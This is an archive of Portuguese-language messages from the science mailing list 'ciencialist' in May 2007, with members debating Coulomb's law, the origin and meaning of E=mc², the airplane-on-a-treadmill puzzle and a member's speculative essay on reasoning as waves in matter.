carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).



Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.



Sds,

Victor.




SUBJECT: RES: [ciencialist] Re: E=m.c2
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 12:19

Grande Ricardo,



Comentarei um pouco este assunto, que já roda a algum tempo por aqui.

Não entrarei no mérito de quem a deduziu antes de Einstein. Mas Einstein a
deduziu de maneira inteiramente difrenciada do que fora feito antes. Você
pincelou lá embaixo como isso foi feito. A partir da conservação da energia
e dos primeiro e segundo postulados da relatividade.

Descobrí, recentemente, um trabalho de 4 professores de física,
pertencentes aos Departamentos de Física e Matemática de Roraima, com o
título: Uma Comparação entre as deduções da equação E=mc^2 , publicado na
Revista Brasileira de Ensino de Física, V.26, nº 2, p.93-98 (2004),
facilmente recuperável, através do Google. Vale a pena a leitura.

O mérito de Einstein está em:

1 – fazer a dedução a partir de seus postulados e da conservação da energia,
de uma maneira lógica e simples; e,

2 – dar à expressão resultante E=mc^2 um significado que nem de longe outros
desconfiaram.

Essa a diferença.



Mas, até hoje, o papel de E e m na equação tem causado alguma confusão; é
o que vemos quando lemos discussões a respeito, embora ninguém, nem mesmo os
detratores da TR, neguem este importante e crucial resultado da teoria.

A dedução que Einstein fez pressupunha que a massa representava todo o
conteúdo energético do corpo, sendo assim uma forma de energia. Dizer, como
vemos vez ou outra, que massa e energia, na equação acima, são as faces de
uma mesma moeda, são expressões da mesma realidade física, ou coisa do
tipo, carece de alguma reflexão. Vejamos o que se entende por energia:
energia tem existência própria, aparecendo em formas diferentes em toda a
física. Já coisa diversa acontece com o conceito de massa, que está
associado às noções de inércia e gravitação, no sentido de resistir a
acelerações e sofrer a atração gravitacional de outras massas. E também
influenciar nestas outras.

É consenso entre os teóricos, pelo menos uma maioria, que não é a matéria
um conceito físico fundamental, sendo a energia, por outro lado, O conceito
físico fundamental. É o que se pode depreender da fórmula que saiu do plim
plim de Deus, cujo traque permitiu que eu estivesse aquí: E = m c^2. Onde
c^2, aqui, é uma mera constante que conecta as duas grandezas, E e m. A
razão de ser c^2 e não c^3 ou outra potência deve-se aos caprichos da
matemática, linguagem da natureza, que assim se arranja, para expressar bem,
e de maneira correta, como esta última se comporta. Ao menos eu não
conseguí vislumbrar outra alternativa. A física, já disse, tem a obrigação
de descrever o comportamento da natureza, usando como linguagem adequada, -
aliás, a única – a matemática. E só. O que já não é pouco. Não está nem aí
para as verdades essenciais por trás dos fenômenos, que é o que todo mundo
deseja saber; ou porque se comporta desse jeito e não de outro. Esta não é
uma tarefa para a física. Mas deve sê-lo para outros ramos o conhecimento,
como, talvez, religião e suas divindades bem como da filosofia. Que não
chegam a nada, de qualquer maneira.

Quanto ao artigo que você cita, devo dizer-lhe que o autor, Roberto A. de
Martins , apesar de competente e conhecedor da história da física – afinal
é doutor no mister – é um pouco tendencioso, no que concerne à TR. É
seguidor das idéias de seu guru, o Professor César Lattes, infelizmente já
falecido. Leio suas opiniões em seus artigos, com um pé lá e outro cá. E
tento extrair única e exclusivamente o que de técnico e objetivo possa haver
em seus trabalhos. O subjetivo dele, Frodi explica. E nada posso fazer a
respeito. Parece que aprendeu com seu mestre a desmerecer a importância de
Einstein no cenário científico. Mas deixa prá lá.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Ricardo Soares Vieira
Enviada em: quarta-feira, 2 de maio de 2007 13:01
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: E=m.c2



Oi pessoal, a quanto tempo em...

gostaria de fazer alguns comentarios sobre a eq. E=mc2

na verdade, esta equacao nao eh devia a einstein, ela foi
primeiramente escrita por Poincare. Alias, desde os trabalhos de
Thomsom e Maxwell em eletrodinamica ja se sabia que era possivel
associar uma massa (inercia) a energia confinada em um campo eletrico
ou magnetico. Chega-se a seguinte expressao: E = 4/3 mc2. Esta
equaçao nao estah errada, acontece que, como demonstrou Lorentz e
Poicare, esta e a energia associado apenas as interacoes
eletromagneticas, mas quando se leva em consideraçao a energia de,
por exemplo, da caixa que contem esta radiaçao, entao o fator 4/3
desaparece.
Einstein deduziu a equaçao E=mc2 de uma forma diferente, para um caso
especifico, (a partir da reflexão de um raio de luz em um espelho
quando visto em diferentes referenciais, e utilizou o princípio da
conservação de energia), e daí concluiu que ela fosse universalmente
válida. Na verdade, isso nao ocorre, conforme demonstrou Planck em
termodinamica relativistica a casos onde se tem H=mc2, onde H é a
entalpia do sistema...
Tudo o que eu disse aqui está contido no excelente texto "A dinamica
relativistica antes de Einstein"

http://www.sbfisica.org.br/rbef/Vol27/Num1/martins.pdf

de Roberto A. de Martins, um excelente texto, vale comentar...

até mais...

Ricardo S. Vieira.

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá Ferrari,
>
> não vou me ater ao c² pois já foi dito que essa constante não tem
significado físico algum; é um dos passos numa expressão matemática.
>
> Vou responder algo que é típico seu: juntar duas coisas sem
qualquer nexo! Como nessa frase:"Assim como não tem como imaginar o
molhado sem imaginar a água, seria isto?".
>
> Veja 'molhado' e 'água'. Cá estou eu com um pano molhado em álcool
limpando minha mesa de trabalho, poderia te-lo molhado com VEJA,
detergente, gasolina, querosene etc. Que tem a água a ver com isso?
> Você quer que c² inspire algo com velocidade, mas não inspira; ali
eu leio 'velocidade da luz ao quadrado' e não penso em 'velocidade da
luz vezes velocidade da luz' ou não penso em dx/dt vezes dx/dt ou não
penso em integral de (1/3)c³ ou outros devaneios. É apenas c²!
>
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: segunda-feira, 30 de abril de 2007 17:55
> Assunto: Re: [ciencialist] E=m.c2
>
>
> Olá Luiz!
>
> Grato pela resposta.
> Entendi bem.
> Mas ainda fica a questão: o que é c²?
> Km² é area, e c²? Recebe alguma denominação?
> Ou é algo como x² numa equação qualquer?
>
> Vc diz: c² não foi 'feito para imaginar'
>
> c é velocidade da luz, certo?
> c² é velocidade da luz x velocidade da luz, é isto?
> velocidade x velocidade? No que dá isto?
> ou vc diz que c² é inamaginavel porque não tem como
> imaginar velocidade, se imaginar um corpo ao mesmo
> tempo? Seria por isto? Assim como não tem como
> imaginar o molhado sem imaginar a água, seria isto?
>
> Vc diz: m.c² sim... já saiu da imaginação, Hiroshima
> nos contou a realidade disso
>
> me parece que está sua afirmação
>
> Como vc vê, sua frase: "confirma minha teoria da água e do molhado
em relação ao c².", não só não é uma teoria, como nada tem a ver.
>
> []'
>
>
> agradeço se vc ou alguém me responder
> grato. ferrari
>
>
>
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 14:25

O QUE É RACIOCINAR? - por Ferrari
(sobre o raciocínio e a matéria)

http://egogame.blogspot.com

Observe seu comportamento mental enquanto estiver
lendo este texto. Estou me comunicando com você neste
exato momento, não estou? Observe que fenomeno
fantástico está acontecendo: você está pensando agora,
ao ler este texto, exatamente o mesmo que estava
pensando ontem, ao escreve-lo. Parece até que estou
dentro da sua cabeça, pensando por você. Isto não é
fantástico? Mas, sendo assim, lhe pergunto: você está
captando meu raciocínio com os olhos? Tem algum
raciocínio pulando deste texto (na tela do computador)
para os seus olhos? Claro que não! Mas, então, se seus
olhos não estão captando meus raciocínios de ontem,
então, como é que você está lendo e pensando agora
exatamente o que pensei ontem? Simples: seus olhos
estão capatando hoje, as ondas que o meu racioicinio
produziram ontem, na materia comum em que nossos
cérebros existem. Os seus olhos não podem capatar o
meu raciocínio diretamente, pois o meu raciocínio é
algo imaterial e inerente ao meu cérebro. Assim, você
está lendo e pensando agora o que pensei ontem,
porque, ao ler (agora), você está captando a ação
(ondas) que o meu raciocínio produziu no meio material
com o tempo, e que está se propagando também com o
tempo. Ao receber, no seu tempo, estes impulsos do
meio e raciocina-los, seu cérebro está fazendo hoje,
ao ler este texto, o inverso do que o meu estava
fazendo ontem, ao escreve-lo. Ou seja, raciocinar é
fazer ondas na matéria (no meio) que se propagam com o
tempo.


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:

http://egogame.blogspot.com











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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 15:58

OLá Jose Renato

Renato: "JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como um
carro ou moto movidos a turbinas."

NÃO, NÃO E NÃO, MILHARES DE VEZES NÃO..:-) Isso é um erro "crasso" de física, e é isso que o impede de enxergar seu erro desde o começo. Um avião NUNCA se move da mesma forma que um carro, pois sua tração, que é tudo que importa aqui, É FEITA PELAS TURBINAS e não pelas rodas!

O avião nunca se move pelas rodas, nunca! Coloque o avião na esteira de testes de automóveis de uma fábrica, ligue as turbians, e ele sai voando pela sala (é perigoso, mas parece que é a única forma de você entender isso..:-). Coloque um carro, e ele fica no lugar, com a esteira compensando a TRAÇÃO das rodas.

Não há como a esteira compensar o EMPUXO das turbinas ou hélices.

E tem razão, eu desisto..:-) Isso é o mesmo que tentar convencer você que deus não existe, é uma questão de fé.

Homero



----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 10, 2007 12:13 AM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá, Homero! Tenha calma, pense e apresente seus comentários,
mas não perca a compostura. Faço comentários no texto abaixo,
após JR -, OK?
...........................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 12:51 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada

PQP..:-)
JR - É importante manter o controle...

Me desculpem a expressão, mas é a única que pode exprimir corretamente
meu espanto..:-)
JR - Pensei que vc tinha desistido...

Quanto penso que alguém vai conseguir finalmente explicar o erro a
você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
seu engano é novamente repetido:
JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a relação
entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em geral,
o espetáculo é feito com a estrutura do globo fixa, sem movimento de rotação
que eu inseri no exemplo para torná-lo semelhante ao do problema
esteira-avião.

Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
onde motociclistas se movimentam simultaneamente dentro de uma
estrutura esférica? Pense uma estrutura dessas girando em seu eixo
fixo ao chão, e um motociclista se deslocando na linha do "equador" na
mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
isso? Qual é o referencial?"

Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
"exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
respeito de movimento! SE são motos movidas pela tração nas rodas, é
uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como um
carro ou moto movidos a turbinas.

Colocando de forma mais clara, motos que se movem por jatos de ar
PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
se a estrutura girar ao contrário de seu deslocamento, que se esta
estivesse parada!
JR - Ficou muito confusa sua explicação... Mas se as rodas que estão em
contato com a estrutura do globo giram mais rápido quando essa estrutura
gira, significa que não está mais na mesma velocidade de antes quando o
globo estava parado. Logo, não está atendendo o enunciado do problema...

Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
resposta que NINGUÉM mais descobriu..:-)
JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma luz...

Pense, Renato, pense: se conseguir imaginar as motos ligando seus
"jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a jato
sofrerão um retardo em seus movimentos em relação ao chão-solo, visto que a
estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
contrário, subtraindo velocidade nesse sentido.

Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
JR - Descanse e depois tente raciocinar sobre a questão.

Homero

[]s
José Renato





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 16:46

Léo,

Tens razão. É que comecei a escrever, focando sua afirmação: “"...e então a
'tradicional' lei de Coulomb deve sofrer alterações (por vezes, sérias
alterações!).", da qual discordo. Verdade que deveria ter sido um texto
para quem está iniciando. Acho que não tenho mais jeito para isso. É muito
difícil, uma dessas tarefas. É coisa para os Léo´s e JC´s da área. Sorry !
Depois, havia o calor do “discordo”.

Mas lerei com a atenção devida sua proposição, objetivando engasgar a
relatividade e a Lei de Coulomb. Se conseguir entender, oportunamente
voltarei ao assunto.

Mas mantenho minhas posições sobre o que disse sobre a Lei de Coulomb, e
para variar, o que sei de relatividade, que é pouco, mas de qualidade. Ao
menos eu penso assim, que não sou besta.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 10 de maio de 2007 11:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma
duvida



Olá Victor,

Não posso enviar essas 'complementações' para a guria! Tadinha! Vamos deixar
ela escalar o conhecimento degrau por degrau, conforme seus neurônios vão se
exercitando com a física e matemática.
Tudo se aprende assim. Vc se lembra da História do Brasil desde o primário?
Começa como uma festa 'Cabral e suas caravelas ... sem querer ... descobriu
o Brasil', no Ensino Médio, já se fala em Américo Vespucci, navegador
experimentado ... e o 'sem quer' se modifica ... outros fatores aparecem. No
Ensino Superior o professor já começa assim: Que Brasil? Isso não é nosso!
Vejamos a política da época .... e blá, blá - e a maçonaria - blá ... e toda
História se modifica.

Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus
derivados. Aliás, estou desenvolvendo um texto justamente comentando como as
leis da eletricidade violam o princípio da relatividade. O que um observador
em 'repouso' vê de eletrostática numa questão não é o que vê um observador
em movimento.
Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se 'pi' e
m leia-se 'mü')
+++++++++++++++++++
O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física
deveriam ser as mesmas para qualquer observador que se mova a uma velocidade
constante, qualquer que seja a direção, sentido e o módulo dessa velocidade.
Em outras palavras, não deve haver nenhum sistema de referência preferencial
nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria
geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica
clássica obedeciam ao princípio da relatividade.
Contudo, a menos que se façam algumas mudanças na Física que apresentamos no
Ensino Médio, as leis da eletricidade violam o princípio da relatividade. Um
observador em "repouso" e um em movimento obterão duas predições teóricas
diferentes para a mesma experiência.
Como ilustração, vamos considerar o exemplo simples de uma carga puntual Q a
uma distância R de um fio carregado com r statcoulombs por centímetro como
mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para
cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da
distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo
originado por cilindro uniformemente eletrizado").
Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.
Consideremos agora um segundo observador que se move paralelamente ao fio à
velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe
(eq.1) este observador mediria também uma força magnética Fm . Ele vê uma
corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se
também paralelamente ao fio à velocidade v.
Como sabemos, a força magnética sobre a carga Q é Fm = Qv/c X B. O campo
magnético B produzido por uma corrente circulando em linha reta é B =
2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força
magnética.
[Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece c).
Para transferir para o Sistema Internacional de Unidades basta fazer c =
4p/m e tomar r em C/m.]
Essa força atrativa magnética deve ser adicionada à força repulsiva
eletrostática. Portanto o observador em movimento calcula a força resultante
como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2)
para um observador que se move à velocidade v.
Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1) obtido
por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força
resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em
sistemas de referência diferentes. Contudo, de acordo com o princípio da
relatividade de Galileu na mecânica clássica, a força ou aceleração sobre Q
deve ser independente da velocidade do observador. Como conciliar isso?
É assim, fácil observar, que o princípio da relatividade de Galileu que
funciona para a mecânica clássica é inconsistente com as equações de
Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as
equações de Maxwell, ou a mecânica clássica devem ser revistos.
Vamos considerar agora as seguintes 3 alternativas:
+++++++++++++++++++++
Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade
coulombiana.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).

Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 17:32

Interessante, hoje estava jogando pedrinhas no centro da piscina para meu sobrinho ver as ondas na matéria (no meio) se propagando com o tempo. Ai ele me perguntou o que eu estava fazendo e respondi: Estou raciocinando!

> Ou seja, raciocinar é fazer ondas na matéria (no meio) que se propagam com o
tempo.< [Ferrari]

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 14:25
Assunto: [ciencialist] O Que é Raciocinar? ::: (artigo)


O QUE É RACIOCINAR? - por Ferrari
(sobre o raciocínio e a matéria)

http://egogame.blogspot.com

Observe seu comportamento mental enquanto estiver
lendo este texto. Estou me comunicando com você neste
exato momento, não estou? Observe que fenomeno
fantástico está acontecendo: você está pensando agora,
ao ler este texto, exatamente o mesmo que estava
pensando ontem, ao escreve-lo. Parece até que estou
dentro da sua cabeça, pensando por você. Isto não é
fantástico? Mas, sendo assim, lhe pergunto: você está
captando meu raciocínio com os olhos? Tem algum
raciocínio pulando deste texto (na tela do computador)
para os seus olhos? Claro que não! Mas, então, se seus
olhos não estão captando meus raciocínios de ontem,
então, como é que você está lendo e pensando agora
exatamente o que pensei ontem? Simples: seus olhos
estão capatando hoje, as ondas que o meu racioicinio
produziram ontem, na materia comum em que nossos
cérebros existem. Os seus olhos não podem capatar o
meu raciocínio diretamente, pois o meu raciocínio é
algo imaterial e inerente ao meu cérebro. Assim, você
está lendo e pensando agora o que pensei ontem,
porque, ao ler (agora), você está captando a ação
(ondas) que o meu raciocínio produziu no meio material
com o tempo, e que está se propagando também com o
tempo. Ao receber, no seu tempo, estes impulsos do
meio e raciocina-los, seu cérebro está fazendo hoje,
ao ler este texto, o inverso do que o meu estava
fazendo ontem, ao escreve-lo. Ou seja, raciocinar é
fazer ondas na matéria (no meio) que se propagam com o
tempo.


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:

http://egogame.blogspot.com











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SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 17:41

Olá Leo

Leo: "Interessante, hoje estava jogando pedrinhas no centro da piscina para meu sobrinho ver as ondas na matéria (no meio) se propagando com o tempo. Ai ele me perguntou o que eu estava fazendo e respondi: Estou raciocinando!"

Pois eu vi ontem à noite na TV um baterista de rock "raciocinando" como louco, ao bater em seu instrumento, e produzir ondas de ar adoidado..:-) Afinal, "raciocinar é fazer ondas na matéria (no meio) que se propagam"..:-)

Demais..:-)

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Off Topic, para o Leo, sobre o CD do Feira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 17:43

Olá Leo

Você recebeu meu email em pvt, sobre o envio do CD? O correio devolveu e preciso saber se o endereço está correto..:-)

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O Que é Raciocinar? ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 19:06

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Leo: "Interessante, hoje estava jogando pedrinhas no centro da piscina
> para meu sobrinho ver as ondas na matéria (no meio) se propagando com
> o tempo. Ai ele me perguntou o que eu estava fazendo e respondi: Estou
> raciocinando!"
>
> Pois eu vi ontem à noite na TV um baterista de rock "raciocinando"
> como louco, ao bater em seu instrumento, e produzir ondas de ar
> adoidado..:-) Afinal, "raciocinar é fazer ondas na matéria (no meio)
> que se propagam"..:-)

Ainda bem q ninguém se lembrou q repolho com ovo é bom para o raciocínio.

[]s,

Roberto Takata



SUBJECT: [RN] A PROVA DOS NOVE (OU NOVES FORA)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 19:21

Matemática: Na falta de calculadora: use a prova dos noves!
http://www1.folha.uol.com.br/folha/educacao/ult305u14300.shtml
--------------------------
[]s,

Roberto Takata




SUBJECT: RE: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 22:18

Oi, rapazes!
Pergunto: e a intuição?
obr/abr M. SP 10/mai07


>From: "J.Victor" <j.victor.neto@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: RES: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Wed, 9 May 2007 19:22:12 -0300
>
>Sílvio,
>
>
>
>Acho que é folclore. Dizem muita coisa envolvendo Einstein e outros ícones
>de se quilate, atribuindo-lhes comportamentos dissociados do comum de nós
>outros, envolvendo-os numa redoma de mistério e certo glamour.
>
>Poincaré foi um dos maiores e mais profícuos matemáticos de todos os
>tempos,
>não só da época dele.
>
>Contudo, dizem alguns historiadores, que ele era desajeitado para fazer
>contas simples, não gostava,
>
>evitava, errava, confundia, embora pudesse manejar, de cabeça, grandes
>blocos matemáticos, como matrizes ou estruturas topológicas, do que não
>tenho conhecimento a não ser a nível de “notícias”, por ser muito
>especializado e específico, tratando-se de um ramo da matemática
>extremamente difícil e abstrato.
>
>Já disseram, entre outras histórias, que um dia Einstein vinha pelo
>corredor da universidade e, de repente, parou e perguntou a um estudante
>que passava: o restaurante fica prá lá ou para ali? À resposta de “para
>ali”, ele disse: ah, então já almocei, e seguiu adiante!?.... Mas essa
>mesma história contavam de um professor que conhecí, de física, cujo nome
>não me é conveniente citar. E eu sabia que de besta e exótico este nada
>tinha, a não ser que era um notório traçador de estudantes mais bonitinhas
>e
>atiradas, que lhe apontavam algumas possibilidades. Mas era um excelente
>professor, famoso por suas aulas e temido pelo rigor na correção das
>provas.
>
>
>Particularmente não acredito que essas pessoas muito inteligentes sejam tão
>idiotas a esse ponto, nem desligados, nem alheios a si próprios, coisas do
>tipo. Têm apenas uma coisa a mais que a maioria dos mortais: um cérebro
>mais
>gordinho de neurônios e sinapses mais arrumadinhas. Só isso. Só isso? Pois
>bem... Folclore, criado pelos circunstantes, para terem o que conversar,
>espantar ou maravilhar o ouvinte. Parece que as pessoas gostam de uns
>enfeites, em torno do objeto de sua admiração. Froidi explica.
>
>
>
>Sds,
>
>Victor.
>
>
>
>De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
>Em nome de Silvio Cordeiro
>Enviada em: quarta-feira, 9 de maio de 2007 16:43
>Para: ciencialist@yahoogrupos.com.br
>Assunto: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>
>
>Ô Vitor:
>
>Você me fez lembrar um fato, muito comentado nas biografias de Einstein
>que,
>numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo
>universo quando seu neto pediu uma ajuda para resolver um problema de
>aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não
>entendia o problema....
>
>boa tarde,
>
>silvio.
>----- Original Message -----
>From: J.Victor
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Monday, May 07, 2007 3:08 PM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Sílvio,
>
